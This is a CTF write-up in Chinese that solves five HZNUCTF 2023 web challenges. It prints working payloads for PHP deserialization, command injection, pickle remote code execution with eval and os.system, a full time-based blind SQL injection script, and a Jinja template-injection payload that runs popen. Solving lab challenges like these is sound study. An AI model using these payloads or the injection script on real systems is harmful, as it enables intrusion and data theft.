目录
0x01 [HZNUCTF 2023 preliminary]ppppop
0x02 [HZNUCTF 2023 preliminary]guessguessguess
0x03 [HZNUCTF 2023 preliminary]pickle
0x04 [HZNUCTF 2023 preliminary]ezlogin
0x05 [HZNUCTF 2023 preliminary]flask
0x01 [HZNUCTF 2023 preliminary]ppppop
进题发现没有回显,我试着用dirsearch,发现找到的三个网页都是没有回显的。所以尝试一下burp抓包,然后我们看到cookie里面有一个base64编码,拿去解码得到:
O:4:"User":1:{s:7:"isAdmin";b:0;}
由于序列化中的b代表着Boolean,所以我试着把0改为1。发现有回显了:
发现是pop链构造,我们先构造pop链:
它最后的回显肯定是在class B的__call 魔术方法里,所以我们需要让func和arg成为我们需要的变量。所以我们构造pop链如下:
$a=new A(); $a->className='B'; $a->args='ls /'; $a->funcName='system';
之后因为题目中$payload变量经过base64解码已经字符串逆序,我们在phpstorm中直接将这两个解开并且POST传参即可:
echo base64_encode(strrev(serialize($a)));
得到payload:
fTsiLyBzbCI6NDpzOyJzZ3JhIjo0OnM7Im1ldHN5cyI6NjpzOyJlbWFOY251ZiI6ODpzOy
JCIjoxOnM7ImVtYU5zc2FsYyI6OTpzezozOiJBIjoxOk8=
然后拿着这个给post传参:
然后我们就看到了回显,但是没找到flag。去环境变量里找找,payload:
$a=new A(); $a->className='B'; $a->args='env'; $a->funcName='system';
找到了flag。
0x02 [HZNUCTF 2023 preliminary]guessguessguess
进题看到输入框,并且下面的提示看起来想sql注入,随便输了几次,发现只有数字1、2、3、4有回显,并且输入会逆向。看到搜索框上有个hint,我们输入tnih试试,hint显示:
我们发现他的hint居然是命令执行,而不是sql注入。然后我发现这里post的参数是cmd,所以直接在hackbar里尝试。我尝试着输入system('ls /')查看根目录,并且将此字符串逆序:)'/ sl'(metsys,但是没有回显。直接ls也没有回显:
所以我去看了wp。wp说这题是ping......这是我根本没想到的。所以我去ping一个127.0.0.1的逆序:1.0.0.721,发现他下面的猜猜猜没了:
然后管道符分隔,试试system。发现又没有回显,那我们直接ls /试试:
发现根目录没有flag。那我们直接去环境变量里找一下:
就找到了flag。
0x03 [HZNUCTF 2023 preliminary]pickle
进题看见代码,是python的语句,并且用flask模块,我们拉到pycharm里面格式化一下:
发现有两个可以访问的页面:/calc和/readFile。由于calc下面的语句有一个getFlag,我认为flag应该是在这里拿到的。然后往下看,需要get传参payload,然后用base64解码payload,然后pickle.loads被过滤os的解码代码。先去查了pickle的用法,发现是python里的序列化和反序列化函数。然后os过滤当时看的一脸懵,所以我去看了wp。
wp出处:NSSCTF | 在线CTF平台(jmx0hxq师傅):
在外部自己写一个脚本,并且定义一个类,用到了__reduce__的魔术方法。
在这里有几个地方很需要记录:
1. 首先,python代码里先进行return以覆盖下一个return的返回值。所以本题可以让反序列化之后的值先进行return的操作。
2. 然后本题中return的那段:
return eval,("__import__('o'+'s').system('env | tee a')",)
这段的意思,有两个元素用逗号隔开return,就是一个可以执行eval的特性。
3. 其中还有一个__import__('os')语句的意思,就是在中途导入os模块,并且将__import__('os')这一段变成'os'。
4.python中,os就是可以调用system的函数:
os模块负责程序与操作系统的交互,提供了访问操作系统底层的接口;即os模块提供了非常丰富的方法用来处理文件和目录。
所以os.system('ls /')也是可以读取根目录的。但是由于eval函数没有回显,所以用tee将内容复制到a.txt,然后再用/readFile函数读取文件就可以了。
所以payload:
/calc?payload=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnbycrJ3MnKS5zeXN0ZW0oJ2xzIC8gfCB0ZWUgYScplIWUUpQu
然后读取a文件:
然后发现没有flag。我们去环境变量里找一下:
return eval, ("__import__('o'+'s').system('env | tee a",)
并且用刚刚的脚本加密再重复刚刚的步骤:
然后就能在环境变量中找到flag了。
0x04 [HZNUCTF 2023 preliminary]ezlogin
进题是一个登录界面,以为是爆破题。但是标签显示是sql注入。然后我们抓包发包看到了hint:
过滤了联合注入,说明确实是sql注入题。但是没有回显,我们使用时间盲注检查闭合,但是它有base64解码并且字符串逆序,我们在php再反向操作一次,然后payload:
IykxLCk1KHBlZWxzLDEoZml8fCcx
这一段的源代码是:1'||if(1,sleep(5),1)#
然后发现回应特别慢,所以本题的闭合是单引号闭合。
接下来由于联合注入被ban了,database也被ban了。但是它最后没有加/i,所以可以大小写绕过。
但是接下来只能使用布尔盲注了,这里是网上的脚本:
import requests import base64 import datetime url='http://node5.anna.nssctf.cn:28144/' flag = '' for i in range(1,100): low = 32 high = 130 mid = (high + low) // 2 while (low < high): payload = "1'||if((ascii(substr((SELECT/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{},1)))>{},sleep(1),1)#" payload = payload.format(i, mid) print(payload) payload = base64.b64encode(payload[::-1].encode("utf-8")) data = { 'username':payload, 'passwd':'1' } time1 = datetime.datetime.now() r = requests.post(url, data) time2 = datetime.datetime.now() time = (time2 - time1).seconds if time > 1: low = mid + 1 else: high = mid mid = (low + high) // 2 if (mid == 32 or mid == 130): break flag += chr(mid) print(flag)
爆库名 # payload = "1'||if((ascii(substr((DATABASE()),{},1)))>{},sleep(1),1)#" 爆表名 # payload = "1'||if((ascii(substr((SELECT/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/DATABASE()),{},1)))>{},sleep(1),1)#" 爆列名 # payload = "1'||if((ascii(substr((SELECT/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'user'),{},1)))>{},sleep(1),1)#"
爆数据 # payload = "1'||if((ascii(substr((SELECT/**/group_concat(Password)/**/from/**/users.user),{},1)))>{},sleep(1),1)#"
然后我发现Password这里面直接就有了flag。
0x05 [HZNUCTF 2023 preliminary]flask
进题看到name,并且题目名字叫flask。所以想到了ssti注入:
然后尝试了一下,发现他会逆序输出。所以payload:?name=}}6*6{{:
输出了36。所以确定是ssti注入。然后用师傅wp中的方法进行操作,payload:
{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("env").read()')}}
前面就是用a这个类初始化,然后再用全局变量中的'builtins'变量中的eval,因为这个变量中的eval可以直接用os控制system函数,但是普通的eval不可以。
所以我们用这条语句逆序,读取出环境变量中flag的值。(尝试过ls,发现没有flag):
然后就找到了flag。